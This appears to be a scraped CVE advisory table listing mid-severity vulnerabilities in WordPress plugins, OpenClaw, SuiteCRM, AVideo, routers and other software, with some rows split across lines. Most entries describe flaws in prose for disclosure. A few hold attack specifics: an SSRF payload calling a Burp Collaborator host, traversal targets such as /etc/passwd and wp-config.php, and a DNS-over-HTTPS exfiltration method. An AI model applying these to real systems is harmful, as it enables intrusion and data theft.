CVE-2026-3641	The Appmax plugin for WordPress is vulnerable to Improper Input Validation in all versions up to, and including, 1.0.3. This is due to the plugin registering a public REST API webhook endpoint at /webhook-system without implementing webhook signature validation, secret verification, or any mechanism to authenticate that incoming webhook requests genuinely originate from the legitimate Appmax payment service. The plugin directly processes untrusted attacker-controlled input from the 'event' and 'data' parameters without verifying the webhook's authenticity. This makes it possible for unauthenticated attackers to craft malicious webhook payloads that can modify the status of existing WooCommerce orders (e.g., changing them to processing, refunded, cancelled, or pending), create entirely new WooCommerce orders with arbitrary data, create new WooCommerce products with attacker-controlled names/descriptions/prices, and write arbitrary values to order post metadata by spoofing legitimate webhook events.	5.3	More Details
CVE-2026-3645	The Punnel – Landing Page Builder plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.3.1. The save_config() function, which handles the 'punnel_save_config' AJAX action, lacks any capability check (current_user_can()) and nonce verification. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the plugin's entire configuration including the API key via a POST request to admin-ajax.php. Once the API key is known (because the attacker set it), the attacker can use the plugin's public API endpoint (sniff_requests() at /?punnel_api=1) — which only validates requests by comparing a POST token against the stored api_key — to create, update, or delete arbitrary posts, pages, and products on the site.	5.3	More Details
CVE-2026-3651	The Build App Online plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 1.0.23. This is due to the plugin registering the 'build-app-online-update-vendor-product' AJAX action via wp_ajax_nopriv_ without proper authentication checks, capability verification, or nonce validation in the update_vendor_product() function. The function accepts a user-supplied post ID from the request and calls wp_update_post() to modify the post_author field without validating whether the user has permission to modify the specified post. This makes it possible for unauthenticated attackers to modify the post_author of arbitrary posts to 0 (orphaning posts from their legitimate authors), or for authenticated attackers to claim ownership of any post by setting themselves as the author.	5.3	More Details
CVE-2026-33501	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the endpoint `plugin/Permissions/View/Users_groups_permissions/list.json.php` lacks any authentication or authorization check, allowing unauthenticated users to retrieve the complete permission matrix mapping user groups to plugins. All sibling endpoints in the same directory (`add.json.php`, `delete.json.php`, `index.php`) properly require `User::isAdmin()`, indicating this is an oversight. Commits dc3c825734628bb32550d0daa125f05bacb6829c and b583acdc9a9d1eab461543caa363e1a104fb4516 contain patches.	5.3	More Details
CVE-2026-31381	An attacker can extract user email addresses (PII) exposed in base64 encoding via the state parameter in the OAuth callback URL.	5.3	More Details
CVE-2026-33132	ZITADEL is an open source identity management platform. Versions prior to 3.4.9 and 4.0.0 through 4.12.2 allowed users to bypass organization enforcement during authentication. Zitadel allows applications to enforce an organzation context during authentication using scopes (urn:zitadel:iam:org:id:{id} and urn:zitadel:iam:org:domain:primary:{domainname}). If enforced, a user needs to be part of the required organization to sign in. While this was properly enforced for OAuth2/OIDC authorization requests in login V1, corresponding controls were missing for device authorization requests and all login V2 and OIDC API V2 endpoints. This allowed users to bypass the restriction and sign in with users from other organizations. Note that this enforcement allows for an additional check during authentication and applications relying on authorizations / roles assignments are not affected by this bypass. This issue has been patched in versions 3.4.9 and 4.12.3.	5.3	More Details
CVE-2026-	Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. In versions prior to 1.4.2, the UDM incorrectly converts a downstream 400 Bad Request (from UDR) into a 500 Internal Server Error when handling DELETE requests with an empty supi path parameter. This leaks internal error handling behavior and makes it difficult for clients to distinguish between client-side errors and server-side failures. When a	5.3	More

2026-33065	client sends a DELETE request with an empty supi (e.g., double slashes // in URL path), the UDM forwards the malformed request to UDR, which correctly returns 400. However, UDM propagates this as 500 SYSTEM_FAILURE instead of returning the appropriate 400 error to the client. This violates REST API best practices for DELETE operations. The issue has been patched in version 1.4.2.	5.3	Details
CVE-2026-1940	An incomplete fix for CVE-2024-47778 allows an out-of-bounds read in gst_wavparse_adtl_chunk() function. The patch added a size validation check lsize + 8 > size, but it does not account for the GST_ROUND_UP_2(lsize) used in the actual offset calculation. When lsize is an odd number, the parser advances more bytes than validated, causing OOB read.	5.1	More Details
CVE-2025-13995	IBM QRadar SIEM 7.5.0 through 7.5.0 Update Package 14 could allow an attacker with access to one tenant to access hostname data from another tenant's account.	5.0	More Details
CVE-2026-4582	A security vulnerability has been detected in Shenzhen HCC Technology MPOS M6 PLUS 1V.31-N. Affected by this vulnerability is an unknown functionality of the component Bluetooth. Such manipulation leads to missing authentication. The attack must be carried out from within the local network. Attacks of this nature are highly complex. The exploitation appears to be difficult. The vendor was contacted early about this disclosure but did not respond in any way. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.	5.0	More Details
CVE-2026-2756	A security vulnerability has been detected in OmniPEMF NeoRhythm up to 20260308. This affects an unknown function of the component BLE Interface. Such manipulation leads to missing authentication. The attack can only be initiated within the local network. This attack is characterized by high complexity. The exploitability is reported as difficult. The vendor was contacted early about this disclosure but did not respond in any way.	5.0	More Details
CVE-2026-29107	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, it is possible to create PDF templates with `<img>` tags. When a PDF is exported using this template, the content (for example, `<img src=http://{burp_collaborator_url}>` is rendered server side, and thus a request is issued from the server, resulting in Server-Side Request Forgery. Versions 7.15.1 and 8.9.3 patch the issue.	5.0	More Details
CVE-2026-33126	Frigate is a network video recorder (NVR) with realtime local object detection for IP cameras. Prior to version 0.16.3, the /ffprobe endpoint accepts arbitrary user-controlled URLs without proper validation, allowing Server-Side Request Forgery (SSRF) attacks. An attacker can use the Frigate server to make HTTP requests to internal network resources, cloud metadata services, or perform port scanning. This issue has been patched in version 0.16.3.	5.0	More Details
CVE-2026-33294	WWBN AVideo is an open source video platform. Prior to version 26.0, the BulkEmbed plugin's save endpoint (`plugin/BulkEmbed/save.json.php`) fetches user-supplied thumbnail URLs via `url_get_contents()` without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with `isSSRFSafeURL()`, this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail. Version 26.0 fixes the issue.	5.0	More Details
CVE-2026-4583	A vulnerability was detected in Shenzhen HCC Technology MPOS M6 PLUS 1V.31-N. Affected by this issue is some unknown functionality of the component Bluetooth Handler. Performing a manipulation results in authentication bypass by capture-replay. The attack must originate from the local network. The attack is considered to have high complexity. The exploitation is known to be difficult. The vendor was contacted early about this disclosure but did not respond in any way.	5.0	More Details
CVE-2026-3474	The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as /etc/passwd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint.	4.9	More Details
CVE-2026-29101	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, a Denial-of-Service (DoS) vulnerability exists in SuiteCRM modules. Versions 7.15.1 and 8.9.3 patch the issue.	4.9	More Details
CVE-2026-30889	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a moderator could exploit insufficient authorization checks to access metadata of posts they should not have permission to view. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch.	4.9	More Details
CVE-2026-32947	Harden-Runner is a CI/CD security agent that works like an EDR for GitHub Actions runners. In versions 2.15.1 and below, a DNS over HTTPS (DoH) vulnerability allows attackers to bypass egress-policy: block network restrictions by tunneling exfiltrated data through permitted HTTPS endpoints like dns.google. The attack works by encoding sensitive data (e.g., the runner's hostname) as subdomains in DoH queries, which appear as legitimate HTTPS traffic to Harden-Runner's domain-based filtering but are ultimately forwarded to an attacker-controlled domain. This effectively enables data exfiltration without directly connecting to any blocked destination. Exploitation requires the attacker to already have code execution within the GitHub Actions workflow. The issue was fixed in	4.9	More Details

	version 2.16.0.		
CVE-2026-22319	A stack-based buffer overflow in the device's file installation workflow allows a high-privileged attacker to send oversized POST parameters that overflow a fixed-size stack buffer within an internal process, resulting in a DoS attack.	4.9	More Details
CVE-2026-22318	A stack-based buffer overflow vulnerability in the device's file transfer parameter workflow allows a high-privileged attacker to send oversized POST parameters, causing memory corruption in an internal process, resulting in a DoS attack.	4.9	More Details
CVE-2026-32879	New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Starting in version 0.10.0, a logic flaw in the universal secure verification flow allows an authenticated user with a registered passkey to satisfy secure verification without completing a WebAuthn assertion. As of time of publication, no known patched versions are available. Until a patched release is applied, do not rely on passkey as the step-up method for privileged secure-verification actions; require TOTP/2FA for those actions where operationally possible; or temporarily restrict access to affected secure-verification-protected endpoints.	4.9	More Details
CVE-2026-30873	OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to both 24.10.6 and 25.12.1, the jp_get_token function, which performs lexical analysis by breaking input expressions into tokens, contains a memory leak vulnerability when extracting string literals, field labels, and regular expressions using dynamic memory allocation. These extracted results are stored in a jp_opcode struct, which is later copied to a newly allocated jp_opcode object via jp_alloc_op. During this transfer, if a string was previously extracted and stored in the initial jp_opcode, it is copied to the new allocation but the original memory is never freed, resulting in a memory leak. This issue has been fixed in versions 24.10.6 and 25.12.1.	4.9	More Details
CVE-2026-29098	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the `action_exportCustom` function in `modules/ModuleBuilder/controller.php` fails to properly neutralize path traversal sequences in the `$modules` and `$name` parameters. Both parameters later reach the `exportCustom` function in `modules/ModuleBuilder/MB/MBPackage.php` where they are both utilized in constructing s paths for file reading and writing. As such, it is possible for a user with access to the ModuleBuilder module, generally an administrator, to craft a request that can copy the content of any readable directory on the underlying host into the web root, making them readable. As the `ModuleBuilder` module is part of both major versions 7 and 8, both current major versions are affected. This vulnerability allows an attacker to copy any readable directory into the web root. This includes system files like the content of `/etc, or the root directory of the web server, potentially exposing secrets and environment variables. Versions 7.15.1 and 8.9.3 patch the issue.	4.9	More Details
CVE-2026-26948	Dell Integrated Dell Remote Access Controller 9, 14G versions prior to 7.00.00.174, 15G and 16G versions prior to 7.10.90.00, contain an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to information disclosure.	4.9	More Details
CVE-2026-22170	OpenClaw versions prior to 2026.2.22 with the optional BlueBubbles plugin contain an access control bypass vulnerability where empty allowFrom configuration causes dmPolicy pairing and allowlist restrictions to be ineffective. Remote attackers can send direct messages to BlueBubbles accounts by exploiting the misconfigured allowlist validation logic to bypass intended sender authorization checks.	4.8	More Details
CVE-2026-28449	OpenClaw versions prior to 2026.2.25 lack durable replay state for Nextcloud Talk webhook events, allowing valid signed webhook requests to be replayed without suppression. Attackers can capture and replay previously valid signed webhook requests to trigger duplicate inbound message processing and cause integrity or availability issues.	4.8	More Details
CVE-2024-51225	A stored cross-site scripting (XSS) vulnerability in the component /admin/add-brand.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the brandname parameter.	4.8	More Details
CVE-2024-51224	Multiple cross-site scripting (XSS) vulnerabilities in the component /admin/edit-vehicle.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum and enginenumber parameters.	4.8	More Details
CVE-2024-51223	A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Mobile Number parameter.	4.8	More Details
CVE-2024-51222	A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.	4.8	More Details
CVE-2026-31993	OpenClaw versions prior to 2026.2.22 contain an allowlist parsing mismatch vulnerability in the macOS companion app that allows authenticated operators to bypass exec approval checks. Attackers with operator.write privileges and a paired macOS beta node can craft shell-chain payloads that pass incomplete allowlist validation and execute arbitrary commands on the paired host.	4.8	More Details
CVE-	OpenClaw versions prior to 2026.2.21 BlueBubbles webhook handler contains a passwordless fallback authentication path that allows unauthenticated webhook events in certain reverse-proxy or local routing		More

2026-32896	authentication path that allows unauthenticated webhook events in certain reverse-proxy or local routing configurations. Attackers can bypass webhook authentication by exploiting the loopback/proxy heuristics to send unauthenticated webhook events to the BlueBubbles plugin.	4.8	More Details
CVE-2026-32031	OpenClaw versions prior to 2026.2.26 server-http contains an authentication bypass vulnerability in gateway authentication for plugin channel endpoints due to path canonicalization mismatch between the gateway guard and plugin handler routing. Attackers can bypass authentication by sending requests with alternative path encodings to access protected plugin channel APIs without proper gateway authentication.	4.8	More Details
CVE-2026-32065	OpenClaw versions prior to 2026.2.25 contain an approval-integrity bypass vulnerability in system.run where rendered command text is used as approval identity while trimming argv token whitespace, but runtime execution uses raw argv. An attacker can craft a trailing-space executable token to execute a different binary than what the approver displayed, allowing unexpected command execution under the OpenClaw runtime user when they can influence command argv and reuse an approval context.	4.8	More Details
CVE-2026-32021	OpenClaw versions prior to 2026.2.22 contain an authorization bypass vulnerability in the Feishu allowFrom allowlist implementation that accepts mutable sender display names instead of enforcing ID-only matching. An attacker can set a display name equal to an allowlisted ID string to bypass authorization checks and gain unauthorized access.	4.8	More Details
CVE-2026-4468	A vulnerability was determined in Comfast CF-AC100 2.6.0.8. Affected is an unknown function of the file /cgi-bin/mbox-config?method=SET&section=update_interface_png. This manipulation causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-4564	A security vulnerability has been detected in yangzongzhuan RuoYi up to 4.8.2. This issue affects some unknown processing of the file /monitor/job/ of the component Quartz Job Handler. Such manipulation of the argument invokeTarget leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-32723	SandboxJS is a JavaScript sandboxing library. Prior to 0.8.35, SandboxJS timers have an execution-quota bypass. A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. Version 0.8.35 fixes this issue.	4.7	More Details
CVE-2026-4550	A vulnerability has been found in code-projects Simple Gym Management System up to 1.0. This affects an unknown part of the file /gym/func.php. Such manipulation of the argument Trainer_id/fname leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.	4.7	More Details
CVE-2026-4537	A vulnerability was determined in Cudy TR1200 R46-2.4.15-20250721-164017. Impacted is the function action_ipsec_conn of the file /usr/bin/lib/lua/luci/controller/ipsec.lua. Executing a manipulation can lead to command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-4473	A vulnerability was detected in itsourcecode Online Doctor Appointment System 1.0. This issue affects some unknown processing of the file /admin/appointment_action.php. The manipulation of the argument appointment_id results in sql injection. The attack can be launched remotely. The exploit is now public and may be used.	4.7	More Details
CVE-2026-4471	A weakness has been identified in itsourcecode Online Frozen Foods Ordering System 1.0. This affects an unknown part of the file /admin/admin_edit_employee.php. Executing a manipulation of the argument First_Name can lead to sql injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.	4.7	More Details
CVE-2026-4467	A vulnerability was found in Comfast CF-AC100 2.6.0.8. This impacts an unknown function of the file /cgi-bin/mbox-config?method=SET&section=wireless_device_dissoc. The manipulation results in command injection. The attack can be executed remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-4591	A weakness has been identified in kalcaddle kodbox 1.64. This affects the function checkBin of the file /workspace/source-code/plugins/fileThumb/app.php of the component fileThumb Endpoint. Executing a manipulation can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-33311	DiceBear is an avatar library for designers and developers. Starting in version 5.0.0 and prior to versions 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1, SVG attribute values derived from user-supplied options (`backgroundColor`, `fontFamily`, `textColor`) were not XML-escaped before interpolation into SVG output. This could allow Cross-Site Scripting (XSS) when applications pass untrusted input to `createAvatar()` and serve the resulting SVG inline or with `Content-Type: image/svg+xml`. Starting in versions 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1, all affected SVG attribute values are properly escaped using XML entity encoding. Users should upgrade to the listed patched versions. Some mitigating factors limit vulnerability. Applications that validate input against the library's JSON Schema before passing it to `createAvatar()` are not affected. The DiceBear CLI validates input via AJV and was not vulnerable. Exploitation requires that an application passes untrusted, unvalidated external input directly as	4.7	More Details

	option values.		
CVE-2026-3580	In wolfSSL 5.8.4, constant-time masking logic in sp_256_get_entry_256_9 is optimized into conditional branches (bnez) by GCC when targeting RISC-V RV32I with -O3. This transformation breaks the side-channel resistance of ECC scalar multiplication, potentially allowing a local attacker to recover secret keys via timing analysis.	4.7	More Details
CVE-2026-4470	A security flaw has been discovered in itsourcecode Online Frozen Foods Ordering System 1.0. Affected by this issue is some unknown functionality of the file /admin/admin_edit_menu.php. Performing a manipulation of the argument product_name results in sql injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.	4.7	More Details
CVE-2026-4469	A vulnerability was identified in itsourcecode Online Frozen Foods Ordering System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/admin_edit_menu_action.php. Such manipulation of the argument product_name leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.	4.7	More Details
CVE-2026-4466	A vulnerability has been found in Comfast CF-AC100 2.6.0.8. This affects an unknown function of the file /cgi-bin/mbox-config?method=SET&section=ntp_timezone. The manipulation leads to command injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-32040	OpenClaw versions prior to 2026.2.23 contain an html injection vulnerability in the HTML session exporter that allows attackers to execute arbitrary javascript by injecting malicious mimeType values in image content blocks. Attackers can craft session entries with specially crafted mimeType attributes that break out of the img src data-URL context to achieve cross-site scripting when exported HTML is opened.	4.6	More Details
CVE-2025-60948	Census CSWeb 8.0.1 allows stored cross-site scripting in user supplied fields. A remote, authenticated attacker could store malicious javascript that executes in a victim's browser. Fixed in 8.1.0 alpha.	4.6	More Details
CVE-2026-27183	OpenClaw versions prior to 2026.3.7 contain a shell approval gating bypass vulnerability in system.run dispatch-wrapper handling that allows attackers to skip shell wrapper approval requirements. The approval classifier and execution planner apply different depth-boundary rules, permitting exactly four transparent dispatch wrappers like repeated env invocations before /bin/sh -c to bypass security=allowlist approval gating by misaligning classification with execution planning.	4.5	More Details
CVE-2026-33395	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the discourse-graphviz plugin contains a stored cross-site scripting (XSS) vulnerability that allows authenticated users to inject malicious JavaScript code through DOT graph definitions. For instances with CSP disabled only. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, disable the graphviz plugin, upgrade to a patched version, or enable a content security policy.	4.4	More Details
CVE-2026-3353	The Comment SPAM Wiper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' setting in all versions up to, and including, 1.2.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2026-1247	The Survey plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2026-3577	The Keep Backup Daily plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the backup title alias (`val` parameter) in the `update_kbd_bkup_alias` AJAX action in all versions up to, and including, 2.1.2. This is due to insufficient input sanitization and output escaping. While `sanitize_text_field()` strips HTML tags on save, it does not encode double quotes. The backup titles are output in HTML attribute contexts without `esc_attr()`. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts via attribute injection that will execute whenever another administrator views the backup list page.	4.4	More Details
CVE-2026-3354	The Wikilookup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Popup Width' setting in all versions up to, and including, 1.1.5. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2026-1278	The Mandatory Field plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-	The CM Custom Reports – Flexible reporting to track what matters most plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2.7 due to insufficient input		More

2026-2432	sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	Details
CVE-2026-2837	The Ricerca – advanced search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin's settings in all versions up to, and including, 1.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2026-2424	The Reward Video Ad for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.6. This is due to insufficient input sanitization and output escaping on plugin settings such as the 'Account ID', 'Message before the video', and color fields. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	4.4	More Details
CVE-2026-4161	The Review Map by RevuKangaroo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin settings in all versions up to, and including, 1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2026-32119	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, DOM-based stored XSS in the jQuery SearchHighlight plugin (`library/js/SearchHighlight.js`) allows an authenticated user with encounter form write access to inject arbitrary JavaScript that executes in another clinician's browser session when they use the search/find feature on the Custom Report page. The plugin reverses server-side HTML entity encoding by reading decoded text from DOM text nodes, concatenating it into a raw HTML string, and passing it to jQuery's `$()` constructor for HTML parsing. Version 8.0.0.2 fixes the issue.	4.4	More Details
CVE-2026-2121	The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_class' parameter in all versions up to, and including, 1.8.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This primarily affects multisite installations where Administrators do not have the unfiltered_html capability.	4.4	More Details
CVE-2026-21783	HCL Traveler is affected by sensitive information disclosure. The application generates some error messages that provide detailed information about errors and failures, such as internal paths, file names, sensitive tokens, credentials, error codes, or stack traces. Attackers could exploit this information to gain insights into the system's architecture and potentially launch targeted attacks.	4.3	More Details
CVE-2026-4143	The Neos Connector for Fakturama plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.0.14. This is due to missing nonce validation in the ncff_add_plugin_page() function which handles settings updates. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.	4.3	More Details
CVE-2025-71259	BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a blind server-side request forgery vulnerability in the externalfeed/RSS API component that allows authenticated attackers to trigger arbitrary outbound requests from the server. Attackers can exploit insufficient validation of externally supplied resource references to interact with internal services or cause resource exhaustion impacting availability. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.	4.3	More Details
CVE-2026-33326	Keystone is a content management system for Node.js. Prior to version 6.5.2, {field}.isFilterable access control can be bypassed in findMany queries by passing a cursor. This can be used to confirm the existence of records by protected field values. The fix for CVE-2025-46720 (field-level isFilterable bypass for update and delete mutations) added checks to the where parameter in update and delete mutations however the cursor parameter in findMany was not patched and accepts the same UniqueWhere input type. This issue has been patched in version 6.5.2.	4.3	More Details
CVE-2025-71258	BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a blind server-side request forgery vulnerability in the searchWeb API component that allows authenticated attackers to cause the server to initiate arbitrary outbound requests. Attackers can exploit improper URL validation to perform internal network scanning or interact with internal services, impacting system availability. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.	4.3	More Details
CVE-2026-4510	A weakness has been identified in PbootCMS up to 3.2.12. This impacts the function alert_location of the file apps/home/controller/MemberController.php of the component Parameter Handler. This manipulation of the argument backurl causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.	4.3	More Details
CVE-2026-4068	The Add Custom Fields to Media plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.3. This is due to missing nonce validation on the field deletion functionality in the admin display template. The plugin properly validates a nonce for the 'add field' operation (line 24-36), but the 'delete field' operation (lines 38-49) processes the $_GET['delete'] parameter and calls update_option() without any nonce	4.3	More Details

	verification. This makes it possible for unauthenticated attackers to delete arbitrary custom media fields via a forged request, granted they can trick a site administrator into performing an action such as clicking on a link.		
CVE-2026-33071	FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.8.0, the WebDAV upload endpoint accepts any file extension including .phtml, .php5, .htaccess, and other server-side executable types, bypassing the filename validation enforced by the regular upload path. In non-default deployments lacking Apache's LocationMatch protection, this leads to remote code execution. When files are uploaded via WebDAV, the createFile() method in FileRiseDirectory.php and the put() method in FileRiseFile.php accept the filename directly from the WebDAV client without any validation. In contrast, the regular upload endpoint in UploadModel::upload() validates filenames against REGEX_FILE_NAME. This issue is fixed in version 3.8.0.	4.3	More Details
CVE-2026-32899	OpenClaw versions prior to 2026.2.25 fail to consistently apply sender-policy checks to reaction_* and pin_* non-message events before adding them to system-event context. Attackers can bypass configured DM policies and channel user allowlists to inject unauthorized reaction and pin events from restricted senders.	4.3	More Details
CVE-2026-2294	The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'uip_save_global_settings' function in all versions up to, and including, 3.5.09. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary plugin settings.	4.3	More Details
CVE-2026-1935	The Company Posts for LinkedIn plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.0. This is due to a missing capability check on the `linkedin_company_post_reset_handler()` function hooked to `admin_post_reset_linkedin_company_post`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete LinkedIn post data stored in the site's options table.	4.3	More Details
CVE-2026-4066	The Smart Custom Fields plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the relational_posts_search() function in all versions up to, and including, 5.0.6. This makes it possible for authenticated attackers, with Contributor-level access and above, to read private and draft post content from other authors via the smart-cf-relational-posts-search AJAX action. The function queries posts with post_status=any and returns full WP_Post objects including post_content, but only checks the generic edit_posts capability instead of verifying whether the requesting user has permission to read each individual post.	4.3	More Details
CVE-2026-3225	The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized deletion of quiz question answers due to a missing capability check in the delete_question_answer() function of the EditQuestionAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check, and the QuestionAnswerModel::delete() method only validates minimum answer counts without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete answer options from any quiz question on the site.	4.3	More Details
CVE-2026-33315	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, the Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc. Version 2.2.0 patches the issue.	4.3	More Details
CVE-2026-33313	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, an authenticated user can read any task comment by ID, regardless of whether they have access to the task the comment belongs to, by substituting the task ID in the API URL with a task they do have access to. Version 2.2.0 fixes the issue.	4.3	More Details
